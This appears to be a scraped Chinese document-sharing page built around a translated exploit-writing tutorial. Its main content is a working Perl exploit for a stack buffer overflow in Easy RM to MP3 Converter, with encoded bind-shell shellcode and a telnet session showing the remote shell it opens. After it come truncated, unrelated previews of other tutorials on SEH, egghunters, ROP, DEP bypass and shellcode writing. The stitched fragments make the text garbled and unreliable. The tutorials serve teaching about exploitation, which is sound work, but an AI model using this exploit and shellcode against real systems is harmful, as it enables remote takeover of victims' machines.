"\x43\x50\x30\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x42\x50\x45" "\x4c\x4e\x4d\x4c\x4b\x51\x50\x45\x58\x51\x4e\x43\x58\x4c" "\x4e\x50\x4e\x44\x4e\x4a\x4c\x50\x50\x4b\x4f\x48\x56\x43" "\x56\x50\x53\x45\x36\x45\x38\x50\x33\x50\x32\x42\x48\x43" <...> "\x50\x41\x41"; 让我们用这个 shellcode:ps: 下面的 shellcode 我是手打上来的 也许你复制 / 粘贴会不能运行, 但是现在你应该知道如何写一个有效的 Exploit 了吧 # # Exploit for Easy RM to MP vulnerability, discovered by Crazy_Hacker # Written by Peter Van Eeckhoutte # # Greetings to Saumil and SK :-) # # tested on Windows XP SP3 (En) # # # my $file= "exploitrmtomp3.m3u"; my $junk= "A" x 26094; my $eip = pack('v',0x01ccf23a); #jmp esp from MSRMCcodec02.dll my $shellcode = "\x90" x 25; # windows/shell_bind_tcp bytes # # Encoder: x86/alpha_upper # EXITFUNC=seh, LPORT=4444, RHOST= $shellcode=$shellcode."\x89\xe1\xdb\xd4\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\ x49". "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56". "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41". "\x42\x41\x41\x42\x54\x00\x41\x51\x32\x41\x42\x32\x42\x42". "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42". "\x4a\x4a\x4b\x50\x4d\x4b\x58\x4c\x39\x4b\x4f\x4b\x4f\x4b". "\x4f\x43\x50\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47". "\x35\x47\x4c\x4c\x4b\x43\x4c\x44\x45\x44\x38\x45\x51\x4a". "\x4f\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x51\x30\x43". "\x31\x4a\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a". "\x4e\x46\x51\x49\x50\x4a\x39\x4e\x4c\x4d\x54\x49\x50\x44". "\x34\x45\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a". "\x4b\x4a\x54\x47\x4b\x51\x44\x51\x34\x47\x58\x44\x35\x4a". "\x45\x4c\x4b\x51\x4f\x47\x54\x43\x31\x4a\x4b\x45\x36\x4c". "\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a". "\x4b\x44\x43\x46\x4c\x4c\x4b\x4d\x59\x42\x4c\x46\x44\x45". "\x4c\x43\x51\x48\x43\x46\x51\x49\x4b\x45\x34\x4c\x4b\x50". "\x43\x50\x30\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x42\x50\x45". "\x4c\x4e\x4d\x4c\x4b\x51\x50\x45\x58\x51\x4e\x43\x58\x4c".

21 "\x4e\x50\x4e\x44\x4e\x4a\x4c\x50\x50\x4b\x4f\x48\x56\x43". "\x56\x50\x53\x45\x36\x45\x38\x50\x33\x50\x32\x42\x48\x43". "\x47\x43\x43\x47\x42\x51\x4f\x50\x54\x4b\x4f\x48\x50\x42". "\x48\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x50\x50\x4b\x4f\x48". "\x56\x51\x4f\x4d\x59\x4d\x35\x45\x36\x4b\x31\x4a\x4d\x43". "\x38\x43\x32\x46\x35\x43\x5a\x44\x42\x4b\x4f\x4e\x30\x42". "\x48\x48\x59\x45\x59\x4c\x35\x4e\x4d\x50\x57\x4b\x4f\x48". "\x56\x46\x33\x46\x33\x46\x33\x50\x53\x50\x53\x50\x43\x51". "\x43\x51\x53\x46\x33\x4b\x4f\x4e\x30\x43\x56\x45\x38\x42". "\x31\x51\x4c\x42\x46\x46\x33\x4c\x49\x4d\x31\x4a\x35\x42". "\x48\x4e\x44\x44\x5a\x44\x30\x49\x57\x50\x57\x4b\x4f\x48". "\x56\x43\x5a\x44\x50\x50\x51\x51\x45\x4b\x4f\x4e\x30\x43". "\x58\x49\x34\x4e\x4d\x46\x4e\x4b\x59\x50\x57\x4b\x4f\x4e". "\x36\x50\x53\x46\x35\x4b\x4f\x4e\x30\x42\x48\x4d\x35\x50". "\x49\x4d\x56\x50\x49\x51\x47\x4b\x4f\x48\x56\x50\x50\x50". "\x54\x50\x54\x46\x35\x4b\x4f\x48\x50\x4a\x33\x45\x38\x4a". "\x47\x44\x39\x48\x46\x43\x49\x50\x57\x4b\x4f\x48\x56\x50". "\x55\x4b\x4f\x48\x50\x42\x46\x42\x4a\x42\x44\x45\x36\x45". "\x38\x45\x33\x42\x4d\x4d\x59\x4b\x55\x42\x4a\x46\x30\x50" "\x59\x47\x59\x48\x4c\x4b\x39\x4a\x47\x43\x5a\x50\x44\x4b" "\x39\x4b\x52\x46\x51\x49\x50\x4c\x33\x4e\x4a\x4b\x4e\x47" "\x32\x46\x4d\x4b\x4e\x51\x52\x46\x4c\x4d\x43\x4c\x4d\x42" "\x5a\x50\x38\x4e\x4b\x4e\x4b\x4e\x4b\x43\x58\x42\x52\x4b" "\x4e\x4e\x53\x42\x36\x4b\x4f\x43\x45\x51\x54\x4b\x4f\x49" "\x46\x51\x4b\x46\x37\x46\x32\x50\x51\x50\x51\x46\x31\x42" "\x4a\x45\x51\x46\x31\x46\x31\x51\x45\x50\x51\x4b\x4f\x48" "\x50\x43\x58\x4e\x4d\x4e\x39\x45\x55\x48\x4e\x51\x43\x4b" "\x4f\x49\x46\x43\x5a\x4b\x4f\x4b\x4f\x47\x47\x4b\x4f\x48" "\x50\x4c\x4b\x46\x37\x4b\x4c\x4c\x43\x49\x54\x45\x34\x4b" "\x4f\x4e\x36\x50\x52\x4b\x4f\x48\x50\x43\x58\x4c\x30\x4c" "\x4a\x44\x44\x51\x4f\x46\x33\x4b\x4f\x48\x56\x4b\x4f\x48" "\x50\x41\x41"; open($file,">$file"); print $FILE $junk.$eip.$shellcode; close($file); print "m3u File Created successfully\n"; 创建这个 m3u 文件并打开, 现在 Easy RM to MP3 看起来像是被挂起了 : Telnet 主机的 4444 端口 : root@bt:/# telnet Trying Connected to Escape character is '^]'. Microsoft Windows XP [Version ] (C) Copyright Microsoft Corp. C:\Program Files\Easy RM to MP3 Converter> 哦也! 现在退出并编写你自己的 shellcode 吧 不要忘了做你自己的 nice ascii art, 获得一个 133t 名字, 和发送你的祝福给我 (corelanc0d3r) :-)

22

实验指导书

实验指导书 从零开始学习软件漏洞挖掘系列教程第七篇 : 实战挖掘 Mini-stream Ripper 缓冲区溢出漏洞 1 实验简介 实验所属系列 : 系统安全 实验对象 : 本科 / 专科信息安全专业 相关课程及专业 : 计算机网络 实验时数 ( 学分 ):2 学时 实验类别 : 实践实验类 2 实验目的 通过利用一个存在漏洞的程序, 巩固前面学过的知识 注意 由于环境原因, 你在实验看到的地址和我的不一样,

More information

ROP_bamboofox.key

ROP_bamboofox.key ROP Return Oriented Programming Lays @ BambooFox Who Am I Lays / L4ys / 累死 - l4ys.tw Reverse Engineering BambooFox / HITCON Outline Buffer Overflow ret2libc / ret2text Return Oriented Programming Payload

More information

1

1 1 2 3 4 5 GNUDebugger 6 7 void main(int argc, char **argv){ vulncpy(argv[1]); return; } void vulncpy(char *a){ char buf[30]; strcpy(buf, a); return; } *argv[1] buf Shellcode *argv[1]... &buf &buf 8 strcpy

More information

"\x33\x31\x43\x17\x83\xeb\xfc\x03\x6b\x0c\xa6\x2b\x97\xda\xaf" "\xd4\x67\x1b\xd0\x5d\x82\x2a\xc2\x3a\xc7\x1f\xd2\x49\x85\x93" "\x99\x1c\x3d\x27\xef\x8

\x33\x31\x43\x17\x83\xeb\xfc\x03\x6b\x0c\xa6\x2b\x97\xda\xaf \xd4\x67\x1b\xd0\x5d\x82\x2a\xc2\x3a\xc7\x1f\xd2\x49\x85\x93 \x99\x1c\x3d\x27\xef\x8 Writing W32 shellcode 译者 :Netfairy 前言 欢迎继续! 以前我们都是用现成的 shellcode, 今天我们将从头开始写我们自己的 shellcode. 这是一个十分有用的练习, 两个原因 : (1) 如果有一个漏洞有严重的空间限制 (2) 理解 ROP( 返回导向编程 ) 的好办法 为了加快速度我决定使用第一部分为 "FreeFloat FTP" 写的漏洞利用框架.

More information

#!/usr/bin/python -w filename="evil.plf" buffer = "A"*2000 textfile = open(filename, 'w') textfile.write(buffer) textfile.close() 创建 plf 文件, 用 immunit

#!/usr/bin/python -w filename=evil.plf buffer = A*2000 textfile = open(filename, 'w') textfile.write(buffer) textfile.close() 创建 plf 文件, 用 immunit 结构化异常处理 (SEH) 译者 :Netfairy 前言 这一节介绍漏洞利用中你会遇到的真正障碍. SEH 用于缓解缓冲区攻击造成的问题. 但它也 是有缺陷的. 先说明本文不会讨论 SafeSeh 或者 SEHOP, 稍后的 Part 3b 会解决这些保护机制. 我将用 DVD X Player 5.5 PRO 演示 SEH 利用. 已有的漏洞利用程序 : 这里 通常情况下漏洞利用之前我们需要先分析程序的坏字符,

More information

Static Enforcement of Security with Types

Static Enforcement of Security with Types 例题 1 一个 C 语言程序及其在 X86/Linux 操作系统上的编译结 果如下 根据所生成的汇编程序来解释程序中四个变 量的存储分配 生存期 作用域和置初值方式等方面 的区别 static long aa = 10; short bb = 20; func( ) { } static long cc = 30; short dd = 40; static long aa = 10; func(

More information

PowerPoint 演示文稿

PowerPoint 演示文稿 The BitCoin Scripting Language 交易实例 交易结构 "result": { "txid": "921a dd24", "hash": "921a dd24", "version": 1, "size": 226, "locktime": 0, "vin": [ ], "vout": [ ], "blockhash": "0000000000000000002c510d

More information

且编写我们的利用程序, 到最后, 会简单讲一下, 这个漏洞的修补. 首先我们来了解下溢出产生的原因. 打开 windbg, 附加到 msue 进程上, 然后在 kernel!readfile 处下断点, 再用 muse 打开我们之前做好的 test.m3u( 注 : 在这个过程中, 会多次断在 Re

且编写我们的利用程序, 到最后, 会简单讲一下, 这个漏洞的修补. 首先我们来了解下溢出产生的原因. 打开 windbg, 附加到 msue 进程上, 然后在 kernel!readfile 处下断点, 再用 muse 打开我们之前做好的 test.m3u( 注 : 在这个过程中, 会多次断在 Re MUSE v4.9.0.006 (.m3u) 本地溢出漏洞的分析和利用 文 : 冰雪风谷文件格式溢出漏洞一直是黑客门攻击的热点, 从暴风影音播放器到 qq 播放器以及其它的各种播放器, 都被人暴过相关的漏洞. 至于造成漏洞的原因, 大部分是由于往栈里拷贝字符的时候, 没有检查字符串的长度, 导致拷贝的长度大于缓冲区的长度, 于是造成了溢出. 当然, 还有部分是整数溢出, 出现在一些有无符号数混合使用,

More information

寻蛋技术 译者 :Netfairy 前言 欢迎来到漏洞利用开发系列教程第四部分. 这部分讲解一项很酷的技术 : 寻蛋. 这部分我将 用 Kolibri v2.0 HTTP Server 演示这项技术. 这里有写好的漏洞利用程序 : 这里 坏字符 : \x00\x0d\x0a\x3d\x20\x3f

寻蛋技术 译者 :Netfairy 前言 欢迎来到漏洞利用开发系列教程第四部分. 这部分讲解一项很酷的技术 : 寻蛋. 这部分我将 用 Kolibri v2.0 HTTP Server 演示这项技术. 这里有写好的漏洞利用程序 : 这里 坏字符 : \x00\x0d\x0a\x3d\x20\x3f 寻蛋技术 译者 :Netfairy 前言 欢迎来到漏洞利用开发系列教程第四部分. 这部分讲解一项很酷的技术 : 寻蛋. 这部分我将 用 Kolibri v2.0 HTTP Server 演示这项技术. 这里有写好的漏洞利用程序 : 这里 坏字符 : \x00\x0d\x0a\x3d\x20\x3f 漏洞利用环境 :Backtrack 5 调试机器 :Windows XP PRO SP3 漏洞软件 :

More information

上面的介绍会使我们的漏洞利用更清晰. 再次说明这篇教程不会覆盖所有的系列, 你还需要 做更多的研究. 好吧, 开始我们的旅途! 重现崩溃 是时候崩溃了 "Triologic Media Player 8". 这将是另一个文件格式的漏洞. 下面是 POC 和崩溃的截图, 你只需载入 evil.m3u

上面的介绍会使我们的漏洞利用更清晰. 再次说明这篇教程不会覆盖所有的系列, 你还需要 做更多的研究. 好吧, 开始我们的旅途! 重现崩溃 是时候崩溃了 Triologic Media Player 8. 这将是另一个文件格式的漏洞. 下面是 POC 和崩溃的截图, 你只需载入 evil.m3u Unicode 0x00410041 译者 :Netfairy 前言 欢迎来到漏洞利用系列教程第五部分. 注意到前面的难度逐渐递增并且都是建立在彼此的 基础上的. 这部分有点不一样, 是时候提高游戏难度, 杀死 unicode 这个怪物! 这部分教给你 两个宝贵的经验 :(1) 生活给屎黄金涂上了柠檬油漆 (2) 更加努力我将用 "Triologic Media Player 8" 演示 unicode

More information

Microsoft PowerPoint - 从漏洞到利用代码为Metasploit写_cn.ppt

Microsoft PowerPoint - 从漏洞到利用代码为Metasploit写_cn.ppt 从漏洞到利用代码为 Metasploit 写插件 Saumil Shah 本人简介 # who am i 16:08 up 4:26, 1 user, load averages: 0.28 0.40 0.33 USER TTY FROM LOGIN@ IDLE WHAT saumil console - 11:43 0:05 bash Saumil Shah - krafty ceo, net-square

More information

inc-by-one 之高级漏洞利用技术 By Netfairy 前言 什么是 inc-by-one? 比如有这样的一条指令 :inc dword ptr [eax+8], 这条指令执行的效果是 使 eax+8 地址处的值加 1, 类似于 c 语言 *(eax+8) = *(eax+8) +1, 如

inc-by-one 之高级漏洞利用技术 By Netfairy 前言 什么是 inc-by-one? 比如有这样的一条指令 :inc dword ptr [eax+8], 这条指令执行的效果是 使 eax+8 地址处的值加 1, 类似于 c 语言 *(eax+8) = *(eax+8) +1, 如 inc-by-one 之高级漏洞利用技术 By Netfairy 前言 什么是 inc-by-one? 比如有这样的一条指令 :inc dword ptr [eax+8], 这条指令执行的效果是 使 eax+8 地址处的值加 1, 类似于 c 语言 *(eax+8) = *(eax+8) +1, 如果我们可以控制 eax 的值, 那么这就是一个 inc-by-one 漏洞 利用方法 1. 布置堆内存这里我以

More information

标题:【翻译】突破win2003 sp2中基于硬件的DEP

标题:【翻译】突破win2003 sp2中基于硬件的DEP 前置知识 : 汇编关键词 : 漏洞 Shellcode 堆栈 菜鸟版 Exploit 编写指南之五十六 : 2009 年第 10 期 突破 Windows 2003 基于硬件的 DEP 文 / david kennedy 译 / riusksk 创建数据执行保护 DEP(Data Exectution Protection) 的初衷是为了防止不可运行 的内存区域运行代码 在写本文之前, 我仔细阅读了

More information

WSADATA wsadata; int rval; char Message[5000]=""; char buf[2000]=""; u_short LocalPort; LocalPort = 200; //wsock32 initialized for usage sockversion =

WSADATA wsadata; int rval; char Message[5000]=; char buf[2000]=; u_short LocalPort; LocalPort = 200; //wsock32 initialized for usage sockversion = Exploit 编写系列教程第四篇 : 编写 Metasploit exploit 作者 :Peter Van Eeckhoutte 译者 :riusksk( 泉哥 :http://riusksk.blogbus.com) 在 exploit 编写系列教程第一篇中, 笔者已经讲述了两种对于常见漏洞的利用方式 : 栈溢出 ( 覆盖 EIP) 与利用 SHE 链表进行栈溢出 在列出的例子中, 笔者已经利用

More information

Linux kernel exploit研究和探索

Linux kernel exploit研究和探索 Linux kernel exploit DOC alert7 PPT e4gle 2002-12-2 1 2002-12-2 2 Linux kernel exploit kernel exploit exploit exploit exploit (Kernel Buffer Overflow) (Kernel

More information

1 CPU interrupt INT trap CPU exception

1 CPU interrupt INT trap CPU exception 1 CPU interrupt INT trap CPU exception 2 X86 CPU gate 64 16 1 2 5 8 16 16 P DPL 00101 TSS 101 DPL P 1 64 16 1 2 1 1 3 3 5 16 16 16 P DPL 0 D 000 16 110 111 100 D 1=32 0=16 DPL P 1 INT DPL1>=CPL>=DPL CPU

More information

C++ 程序设计 告别 OJ1 - 参考答案 MASTER 2019 年 5 月 3 日 1

C++ 程序设计 告别 OJ1 - 参考答案 MASTER 2019 年 5 月 3 日 1 C++ 程序设计 告别 OJ1 - 参考答案 MASTER 2019 年 月 3 日 1 1 INPUTOUTPUT 1 InputOutput 题目描述 用 cin 输入你的姓名 ( 没有空格 ) 和年龄 ( 整数 ), 并用 cout 输出 输入输出符合以下范例 输入 master 999 输出 I am master, 999 years old. 注意 "," 后面有一个空格,"." 结束,

More information

Microsoft Word - 在VMWare-5.5+RedHat-9下建立本机QTopia-2.1.1虚拟平台a.doc

Microsoft Word - 在VMWare-5.5+RedHat-9下建立本机QTopia-2.1.1虚拟平台a.doc 在 VMWare-5.5+RedHat-9 下建立 本机 QTopia-2.1.1 虚拟平台 张大海 2008-5-9 一 资源下载 1. 需要以下安装包 : tmake-1.13.tar.gz qtopia-free-source-2.1.1.tar.gz qt-embedded-2.3.10-free.tar.gz qt-x11-2.3.2.tar.gz qt-x11-free-3.3.4.tar.gz

More information

乃 两 个 字 低 沉 了 以 外 其 他 都 是 嘶 吼 出 来 的, 特 别 是 是 也! 说 完 后 似 乎 都 能 看 到 面 目 狰 狞 的 老 头 脖 子 上 的 青 筋 纠 结 暴 显 女 娃 张 着 嘴 喃 喃 道 : 第 二 代 花 骨 朵 好 吃 知 县 老 头 低 低 的 笑

乃 两 个 字 低 沉 了 以 外 其 他 都 是 嘶 吼 出 来 的, 特 别 是 是 也! 说 完 后 似 乎 都 能 看 到 面 目 狰 狞 的 老 头 脖 子 上 的 青 筋 纠 结 暴 显 女 娃 张 着 嘴 喃 喃 道 : 第 二 代 花 骨 朵 好 吃 知 县 老 头 低 低 的 笑 爱 妻 霸 道 : 夫 君 乖 乖 来 道 歉 / 作 者 : 安 德 猫 儿 第 一 卷 第 一 章 穿 越 了 傍 晚 时 分, 醉 人 的 重 重 红 霞 铺 满 了 天 际 袅 袅 上 升 的 炊 烟 在 远 处 与 晚 霞 相 接 一 条 大 黄 狗 突 然 从 草 丛 中 冲 了 出 来, 它 快 步 跑 了 几 下 然 后 冲 着 正 晃 悠 悠 漫 步 的 老 牛 吠 了 两 声 老

More information

帝国CMS下在PHP文件中调用数据库类执行SQL语句实例

帝国CMS下在PHP文件中调用数据库类执行SQL语句实例 帝国 CMS 下在 PHP 文件中调用数据库类执行 SQL 语句实例 这篇文章主要介绍了帝国 CMS 下在 PHP 文件中调用数据库类执行 SQL 语句实例, 本文还详细介绍了帝国 CMS 数据库类中的一些常用方法, 需要的朋友可以参考下 例 1: 连接 MYSQL 数据库例子 (a.php)

More information

李 琼 评扎迪 史密斯的 白牙 要是他 指艾伯特 加勒比海移民 真的回去 了 那么他将要面临的失败是明摆在那儿的 因为当地并没有发生什么变化 这就是移民的悲剧 他们比他们离弃的故乡变化得更 快 于是他们永远也不可能因回到家乡而感 到幸福 可是 他们在移居的国家也不幸福 因为这不是家乡 瞿世镜

李 琼 评扎迪 史密斯的 白牙 要是他 指艾伯特 加勒比海移民 真的回去 了 那么他将要面临的失败是明摆在那儿的 因为当地并没有发生什么变化 这就是移民的悲剧 他们比他们离弃的故乡变化得更 快 于是他们永远也不可能因回到家乡而感 到幸福 可是 他们在移居的国家也不幸福 因为这不是家乡 瞿世镜 略论英国移民族群认同的发展和走向 李 琼 李 琼 评扎迪 史密斯的 白牙 要是他 指艾伯特 加勒比海移民 真的回去 了 那么他将要面临的失败是明摆在那儿的 因为当地并没有发生什么变化 这就是移民的悲剧 他们比他们离弃的故乡变化得更 快 于是他们永远也不可能因回到家乡而感 到幸福 可是 他们在移居的国家也不幸福 因为这不是家乡 瞿世镜 年 外国文学 第 期 这些天来 我觉得来到这个国家 就像是和魔鬼签了协议

More information

六域链联盟 SDChain-Matrix 节点搭建指南 2018/07/26 Version : 1.0.0

六域链联盟 SDChain-Matrix 节点搭建指南 2018/07/26 Version : 1.0.0 SDChain-Matrix 节点搭建指南 目录 1 环境要求... 3 2 软件下载... 4 3 安装部署... 4 3.1 部署可执行程序目录... 4 3.2 部署配置文件目录... 4 3.3 部署数据库文件目录... 4 3.4 部署日志文件目录... 4 3.5 部署依赖库文件目录... 4 4 配置参数... 5 5 启动运行... 7 5.1 普通模式启动... 7 5.2 加载启动模式...

More information

ARP ICMP

ARP ICMP ARP ICMP 2 9-1 ARP 9-2 ARP 9-3 ARP 9-4 ICMP 9-5 ICMP 9-6 ICMP 9-7 ICMP 3 ARP ICMP TCP / IP, IP ARP ICMP 3 IP, ARP ICMP IP ARP ICMP 2, 4 9-1 ARP, MAC, IP IP, MAC ARP Address Resolution Protocol, OSI ARP,,

More information

静态分析 投放文件 行为分析 互斥量 (Mutexes) 执行的命令 创建的服务 启动的服务 进程 cmd.exe PID: 2520, 上一级进程 PID: 2556 cmd.exe PID: 2604, 上一级进程 PID: 2520 访问的文件 C:\Users\test\AppData\Lo

静态分析 投放文件 行为分析 互斥量 (Mutexes) 执行的命令 创建的服务 启动的服务 进程 cmd.exe PID: 2520, 上一级进程 PID: 2556 cmd.exe PID: 2604, 上一级进程 PID: 2520 访问的文件 C:\Users\test\AppData\Lo 魔盾安全分析报告 分析类型 开始时间 结束时间 持续时间 分析引擎版本 FILE 2016-11-25 00:20:03 2016-11-25 00:22:18 135 秒 1.4-Maldun 虚拟机机器名 标签 虚拟机管理 开机时间 关机时间 win7-sp1-x64 win7-sp1-x64 KVM 2016-11-25 00:20:03 2016-11-25 00:22:18 魔盾分数 0.0

More information

CPU : i3 RAM: 2G Win2000 Windows XP Windows Vista Windows 7 Cable ADSL 1. [ ] 2., 1. 2. KGI [ ] 3. 4. 5. 6. 7. / /KGI /, 1. (1) / (2) - Proxy, Proxy IP Port (3) - a. / / b. (4) - (5) / / / / / (6) -,,

More information

发展党员材料填写参考(上网).doc

发展党员材料填写参考(上网).doc 华 中 科 技 大 学 党 员 发 展 材 料 填 写 参 考 中 共 华 中 科 技 大 学 委 员 会 组 织 部 2010 年 3 月 31 日 目 录 1 党 员 发 展 材 料 一 览 表... 1 2 入 党 志 愿 书 填 写 参 考... 2 3 申 请 入 党 积 极 分 子 培 养 考 察 登 记 表 填 写 参 考... 13 4 华 中 科 技 大 学 发 展 党 员 综 合

More information

Microsoft PowerPoint - 05-第五讲-寻址方式.pptx

Microsoft PowerPoint - 05-第五讲-寻址方式.pptx 第五讲 授课教师 : 陆俊林王箫音 2012 年春季学期 主要内容 一 寻址方式概述 二 数据的寻址方式 三 转移地址的寻址方式 教材相关章节 : 微型计算机基本原理与应用 ( 第二版 ) 第 4 章寻址方式与指令系统 1 主要内容 一 寻址方式概述 二 数据的寻址方式 三 转移地址的寻址方式 2 指令的组成 指令由操作码和操作数两部分组成 操作码操作数 MOV AX, 8726H ADD AX,

More information

幻灯片 1

幻灯片 1 操作系统课程实验 Lab1:bootloader 启动 ucore os 大纲 x86 启动顺序 C 函数调用 gcc 内联汇编 (inline assembly) x86-32 下的中断处理 理解 x86-32 平台的启动过程理解 x86-32 的实模式 保护模式理解段机制 x86 启动顺序 x86 启动顺序 寄存器初始值 摘自 "IA-32 Intel 体系结构软件开发者手册 " x86 启动顺序

More information

IDEO_HCD_0716

IDEO_HCD_0716 IDEO HCD Toolkit Tencent CDC ...? Tencent CDC Tencent CDC Tencent CDC Tencent CDC Tencent CDC Tencent CDC Tencent CDC Tencent CDC Tencent CDC Tencent CDC Tencent CDC Tencent CDC Tencent CDC Tencent CDC

More information

Ioncube Php Encoder 8 3 Crack 4. llamaba octobre traslado General Search colony

Ioncube Php Encoder 8 3 Crack 4. llamaba octobre traslado General Search colony Ioncube Php Encoder 8 3 Crack 4 ->>->>->> DOWNLOAD 1 / 5 2 / 5 Press..the..General..Tools..category4Encrypt..and..protect..files..with..PHP..encoding,..encryption,..ob fuscation..and..licensing... 2016

More information

今天刚发现的, 比较简单, 于是就来简单分析下吧 该感染样本很简单, 新加了个区段放病毒执行代码, 执行病毒代码, 最后跳回原入口点来执行原文件 下面就是感染后的代码的简单分析 : ; =============== S U B R O U T I N E =====================

今天刚发现的, 比较简单, 于是就来简单分析下吧 该感染样本很简单, 新加了个区段放病毒执行代码, 执行病毒代码, 最后跳回原入口点来执行原文件 下面就是感染后的代码的简单分析 : ; =============== S U B R O U T I N E ===================== 吾爱破解论坛 [LCG] [LSG] 立足软件安全和病毒分析最前端, 丰富的技术版块交相辉映, 由无数加密解密及反病毒爱好者共同维护, 留给世界一抹值得百年回眸的惊 艳, 沉淀百年来计算机应用之精华与优雅, 信息线条与生活质感淡定交融, 任岁月流转, 低调而奢华的技术交流与研究却是亘古不变 标题 : 一个感染样本的简单分析 作者 :ximo 今天刚发现的, 比较简单, 于是就来简单分析下吧 该感染样本很简单,

More information

Slide 1

Slide 1 1 分钟用 Java 原生层漏洞搞定 Win7+JRE7 一个漏洞, 三种利用 今天我们不会讲如何挖掘 Java 原生 层漏洞, 而是讲如何 料理 它们 自我介绍 趋势科技中国研发中心, 架构师 研究方向包括 漏洞挖掘, 沙盒技术, APT 攻击解决方案 重度动漫宅 议程 背景介绍 今天要使用的漏洞 Exploit 方法 1 Exploit 方法 2 Exploit 方法 3 总结 何为 Java

More information

untitled

untitled 8086/8088 CIP /. 2004.8 ISBN 7-03-014239-X.... TP313 CIP 2004 086019 16 100717 http://www.sciencep.com * 2004 8 2004 8 1 5 500 787 1092 1/16 16 1/2 391 000 1 2 ii 1 2 CAI CAI 3 To the teacher To the student

More information

/ / (FC 3)...

/ / (FC 3)... Modbus/TCP 1.0 1999 3 29 Andy Swales Schneider aswales@modicon.com ... 2 1.... 3 2.... 3 2.1.. 3 2.2..4 2.3..4 2.4... 5 3.... 5 3.1 0... 5 3.2 1... 5 3.3 2... 6 3.4 / /... 7 4.... 7 5.... 8 5.1 0... 9

More information

HP and Canon 单色通用芯片表 SCC 芯片 图片 HP 700 M712, 700 M725 CF214X (14X) 17.5 HP 5200 Q7516A U16-2CHIP SSS 846 芯片记号 (U16-2) Canon LBP-3500, LBP-3900, LBP-392

HP and Canon 单色通用芯片表 SCC 芯片 图片 HP 700 M712, 700 M725 CF214X (14X) 17.5 HP 5200 Q7516A U16-2CHIP SSS 846 芯片记号 (U16-2) Canon LBP-3500, LBP-3900, LBP-392 HP and Canon 单色通用芯片表在线访问我们的网站, 可以得到更多的信息 : www.scc-inc.com/chipcenter 全部开始都是专利通用芯片一个芯片, 多个不同型号的硒鼓 注意 : 当在这个文档上要寻找一个特殊的 或打印机的型号时, 在你的键盘上同时按 CTRL 键和 F 键就能搜索到 HP and Canon 单色通用芯片表 SCC 芯片 图片 HP 700 M712, 700

More information

cve Wireshark 溢出漏洞分析及利用代码的分析 Wireshark 是一款非常流行的网络封包分析软件. 其方便性, 开源性和跨平台性和可扩 展性, 导至其有很广大的使用人群, 尤其做网络相关开发工作的程序员. 现在我们要分析的 Cve 这个漏洞是在对

cve Wireshark 溢出漏洞分析及利用代码的分析 Wireshark 是一款非常流行的网络封包分析软件. 其方便性, 开源性和跨平台性和可扩 展性, 导至其有很广大的使用人群, 尤其做网络相关开发工作的程序员. 现在我们要分析的 Cve 这个漏洞是在对 cve-2010-0304 Wireshark 溢出漏洞分析及利用代码的分析 Wireshark 是一款非常流行的网络封包分析软件. 其方便性, 开源性和跨平台性和可扩 展性, 导至其有很广大的使用人群, 尤其做网络相关开发工作的程序员. 现在我们要分析的 Cve-2010-0304 这个漏洞是在对 lwres 协议解码中, 由于字符串读取处理不当造成的. 我们 可以从官方下到其源码, 来分析下漏洞产生的原因,

More information

Chapter #

Chapter # 第三章 TCP/IP 协议栈 本章目标 通过本章的学习, 您应该掌握以下内容 : 掌握 TCP/IP 分层模型 掌握 IP 协议原理 理解 OSI 和 TCP/IP 模型的区别和联系 TCP/IP 介绍 主机 主机 Internet TCP/IP 早期的协议族 全球范围 TCP/IP 协议栈 7 6 5 4 3 应用层表示层会话层传输层网络层 应用层 主机到主机层 Internet 层 2 1 数据链路层

More information

* r p . 4 6 12 3 5 7 8 9bk bm btbsbrbqbp bo bn bl [ ] [ ] [ ] [ ] [SET] 1 2 3 4 5 6 7. cmcl ck 8 9 0 bk bl bm bn bo 1 2 1 2+ - bp bq 8 2 4 6 br r bs p bt ck cl cm 3 3 . 1 2 3 4 5 6 7 8 9 bk bl bm

More information

返回导向编程 (ROP) 译者 :Netfairty 前言 欢迎来到第七部分, 经过前面的学习, 可能你想做一些更有挑战性的事. 好的, 本节我们将 要学习的是 ROP( 返回导向编程 ). 不像前一节我们把参数精心布置在堆栈然后调用 Windwos API 去执行它们. 所有介绍 ROP 教程都需

返回导向编程 (ROP) 译者 :Netfairty 前言 欢迎来到第七部分, 经过前面的学习, 可能你想做一些更有挑战性的事. 好的, 本节我们将 要学习的是 ROP( 返回导向编程 ). 不像前一节我们把参数精心布置在堆栈然后调用 Windwos API 去执行它们. 所有介绍 ROP 教程都需 返回导向编程 (ROP) 译者 :Netfairty 前言 欢迎来到第七部分, 经过前面的学习, 可能你想做一些更有挑战性的事. 好的, 本节我们将 要学习的是 ROP( 返回导向编程 ). 不像前一节我们把参数精心布置在堆栈然后调用 Windwos API 去执行它们. 所有介绍 ROP 教程都需要你做很多的工作才能掌握它. 但是在次提醒本教 程不会覆盖 ROP 所有细节. 如果你想更好的理解 ROP

More information

linux 下的缓冲区溢出 裴士辉 QQ:

linux 下的缓冲区溢出 裴士辉 QQ: linux 下的缓冲区溢出 裴士辉 QQ:1628159305 Buffer Overflows 缓冲区溢出攻击 基本的思想通过修改某些内存区域, 把一段恶意代码存储到一个 buffer 中, 并且使这个 buffer 被溢出, 以便当前进程被非法利用 ( 执行这段恶意的代码 ) 2 危害性 在 UNIX 平台上, 通过发掘 Buffer Overflow, 可以获得一个交互式的 shell 在 Windows

More information

一 登录 crm Mobile 系统 : 输入 ShijiCare 用户名和密码, 登录系统, 如图所示 : 第 2 页共 32 页

